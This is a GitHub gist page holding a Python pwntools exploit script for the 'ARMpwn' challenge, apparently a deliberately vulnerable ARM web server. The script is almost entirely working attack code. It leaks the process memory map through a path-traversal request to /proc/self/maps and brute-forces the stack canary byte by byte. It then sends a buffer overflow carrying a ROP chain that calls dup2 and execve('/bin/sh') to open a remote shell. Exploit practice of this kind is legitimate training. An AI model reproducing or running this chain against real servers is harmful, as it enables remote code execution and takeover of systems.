Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active March 24, 2021 06:08
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/45d1c23f33f09126fe0838c1fe057687 to your computer and use it in GitHub Desktop.
Save hugsy/45d1c23f33f09126fe0838c1fe057687 to your computer and use it in GitHub Desktop.
ARMpwn challenge exploit
#!/usr/bin/env python2
#
# ARMpwn challenge exploit (kudos & thx to 5aelo)
#
# writeup: https://blahcat.github.io/2016/06/13/armpwn-challenge/
#
# @_hugsy_
#
from pwn import *
crlf = "\r\n"
host, port = "rpi2-1", 80
def leak_mapping():
s = remote(host, port)
head = ["GET .././../../../../proc/self/maps HTTP/1.1",
"Host: %s" % host,]
s.send(crlf.join(head) + crlf*2)
s.recvuntil(crlf*2)
res = s.recv().splitlines()
s.close()
stack, libc, exe = None, None, None
for l in res:
if "libc" in l and not libc: libc = int(l.split()[0].split('-')[0],16)
if "stack" in l and not stack: stack = int(l.split()[0].split('-')[0],16)
if "websrv" in l and not exe: exe = int(l.split()[0].split('-')[0], 16)
return exe, stack, libc
def dummy(s):
try:
s.send("GET / HTTP/1.0" + crlf*2)
s.recvuntil(crlf*2)
except EOFError:
# if the exception is triggered, we have sent an invalid canary
# that led to the socket being closed
return False
return True
def leak_canary_one_byte(prefix):
l = 4042
for i in range(0, 256):
s = remote(host, port)
c = chr(i)
data = "A"*l + prefix + c
head = ["GET / HTTP/1.1",
"Host: rpi2-1",
"Content-Length: %d"%len(data)]
s.send(crlf.join(head) + crlf*2)
s.send(data)
hdr = s.recvuntil(crlf*2)
body = s.recv(4096)
is_valid = dummy(s)
s.close()
if is_valid:
log.debug("Found valid byte '%x'" % ord(c))
return c
raise Exception("Should never be here")
def leak_dword():
lv = context.log_level
context.log_level = 'ERROR'
canary = ""
for _ in range(4):
c = leak_canary_one_byte(canary)
canary += c
context.log_level = lv
return canary
def rop_call(func, arg1=0, arg2=0, arg3=0):
p = p32(exe+0x0c80) # pop {r3, pc}
p+= p32(exe+0x0c80) # pop {r3, pc}
p+= p32(exe+0x16d8) # ldmfd sp!, {r4-r11,pc}
p+= "AAAA" # r4
p+= "AAAA" # r5
p+= p32(arg1) # r6
p+= p32(arg2) # r7
p+= p32(arg3) # r8
p+= "AAAA" # r9
p+= "AAAA" # r10
p+= "AAAA" # r11
p+= p32(exe+0x1abc) # mov r0, r6 ; mov r1, r7 ; mov r2, r8 ; add r4, r4, #1 ; blx r3
p+= p32(func)
p+= p32(libc+0x71bc4) # pop {lr} ; bx r3
p+= p32(libc+0xdd474) # pop {r4, pc}
p+= "AAAA"
return p
log.info("Leaking canary")
canary = leak_dword()
log.info("Canary is %#x" % u32(canary))
log.info("Leaking process mapping")
exe, stack, libc = leak_mapping()
execve = libc +0x9bf80 # from gef
dup2 = libc +0xc0f90
binsh = libc +0x119f08
log.info("execve() is at %#x" % execve)
log.info("dup2() is at %#x" % dup2)
log.info("'/bin/sh' at %#x" % binsh)
r = remote(host,port)
# build the payload to gain rce
saved_regs = "BBBB"*9
payload = "A"*4042 + canary + saved_regs
payload+= rop_call(dup2, 4, 2)
payload+= rop_call(dup2, 4, 1)
payload+= rop_call(dup2, 4, 0)
payload+= rop_call(execve, binsh, 0, 0)
req = ["GET / HTTP/1.1",
"Host: %s" % host,
"Content-Length: %d" % len(payload)]
r.send(crlf.join(req) + crlf*2)
r.send(payload)
r.recvuntil("</html>\n")
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment